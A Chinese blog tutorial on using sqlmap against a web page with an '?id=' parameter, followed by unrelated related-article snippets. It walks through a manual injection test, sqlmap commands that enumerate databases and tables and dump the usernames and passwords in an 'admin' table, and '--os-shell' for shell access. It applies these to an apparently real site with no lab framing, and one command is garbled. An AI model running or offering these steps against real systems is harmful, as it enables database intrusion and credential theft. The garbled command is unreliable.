kali基于sqlmap的使用

简介: 网安实例分享

介绍:

       SQL注入是指攻击者通过把恶意SQL命令插入到web表单的输入域或页面请求的查询字符串中,并且插入的恶意SQL命令会导致原有SQL语句作用发生改变,从而欺骗服务器执行恶意的SQL命令的一种攻击方式

测试过程

形如,一条网页的链接为http://888.cn/?id=1,可以清楚看到链接后边有一串形如?id=1的字符。 这时只要在链接后边加上 and+1=1,如果页面显示正常没有出现报错,则再将and+1=1 替换为 and+1=2,此时如果页面出现报错,可以判断存在注入攻击点。

以上为手注实现判断,今天讲解sql注入的自动化工具sqlmap,工具kali自带。

1.检测注入点

sqlmap -u URL

图片.png

可以检测到id参数存在注入点

2.爆出所有数据库信息

sqlmap -u URL --dbs

图片.png

可以看出当前站点有三个数据库,名称如图

3.爆出当前数据库信息

sqlmap -u URL --current-db

图片.png

可以看出当前数据库名称为 ‘maoshe

4.指定库名列出所有表

sqlmap -u URL -D maoshe --tables

图片.png

可以卡出当前数据库下的所有表名,找到有敏感信息的表名admin

5.指定库名表名列出所有字段

sqlmap -u URL -D maoshe -T admin --columns

图片.png

可以看出当前表名下的字段名

6.指定库名表名dump出指定字段

sqlmap -u URL -D maoshe -T admin -C Id,password,username --dump

图片.png

可以看出当前的用户名密码了,ok,拿到账号密码。

补充

查询是否有sql注入dba权限

sqlmap -u URL --is-dba

图片.png

此站显然没有如有应为True,如为True情况下执行如下,弹出shell即可拿下,一般不能实现。

sqlmap -u URL -os-shell

PS:(1)当你sqlmap时如果要默认选项全是y时

          sqlmap -u URL --batchsqlsqlmsql

     (2)sqlmap扫描无法连接信息 (将sqlmap值改为任意值)

          sqlmap -u URL --random-agent (-D mian_域名 --tables)

总结

SQL注入攻击是通过操作输入来修改SQL语句在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。

相关文章
|
云安全 开发框架 人工智能
|
Serverless C语言 C++
【数学建模】利用C语言来实现 太阳赤纬 太阳高度角 太阳方位角 计算和求解分析 树木树冠阴影面积与种植间距的编程计算分析研究
【数学建模】利用C语言来实现 太阳赤纬 太阳高度角 太阳方位角 计算和求解分析 树木树冠阴影面积与种植间距的编程计算分析研究
638 1
|
12月前
|
供应链 搜索推荐 算法
淘宝电商运营的小秘籍,看完血赚。
在淘宝电商竞争激烈的环境中,掌握实用运营技巧是成功的关键。本文深入剖析了淘宝电商运营的五大核心策略:精准市场定位与选品、引人入胜的店铺装修、优质客户服务、灵活营销推广及数据驱动决策。通过这些技巧,你可以在淘宝平台上打造独具魅力的店铺,吸引更多流量和客户,实现销售业绩稳步增长,最终脱颖而出,成为知名品牌。
1151 10
|
并行计算 API 异构计算
JAX 中文文档(十六)(2)
JAX 中文文档(十六)
613 1
|
负载均衡 算法 Linux
在Linux中,什么是负载均衡?它是如何工作的?
在Linux中,什么是负载均衡?它是如何工作的?
|
算法 Oracle 关系型数据库
量子革命的序曲:揭秘未来编程的终极奥秘,量子计算与编程语言如何重塑我们的数字世界!
【8月更文挑战第12天】随着科技演进,计算机科学迎来革命性变化——量子计算。基于量子位而非传统二进制位的信息处理方式赋予量子计算机解决特定问题超越经典计算机的能力。量子计算兴起催生了如Q#、Qiskit等量子编程语言,其中Q#由微软开发,融合量子与传统计算特点,支持量子纠缠和叠加的直接表达,简化量子算法实现。示例代码展示了一个使用Q#编写的Grover搜索算法,通过量子叠加和迭代实现高效搜索。尽管量子计算尚处初期阶段,但其对未来编程的影响已初露端倪,预示着量子技术驱动的新编程时代即将到来。
251 0
|
安全 测试技术 PHP
如何搭建 sqli-labs 靶场保姆级教程(附链接)
如何搭建 sqli-labs 靶场保姆级教程(附链接)
|
存储 负载均衡 监控
Redis分区指南:如何实现高可用与扩展性
本文由技术小伙伴小米讲解Redis分区容错中的数据分区。内容涉及Hash、一致性Hash、Codis的Hash槽和RedisCluster四种方法。Hash简单但不稳定,数据迁移和分区不均衡是其主要问题;一致性Hash通过最小化数据迁移实现负载均衡,但仍有局限;Codis的Hash槽提供灵活的负载均衡和在线迁移;RedisCluster是官方高可用、可扩展的解决方案。每种方案有优缺点,需根据实际需求选择。
766 0
Redis分区指南:如何实现高可用与扩展性
|
机器学习/深度学习 自然语言处理 知识图谱
在低资源语境下,大模型如何提高自然语言处理的鲁棒性?
在低资源语境下,大模型如何提高自然语言处理的鲁棒性?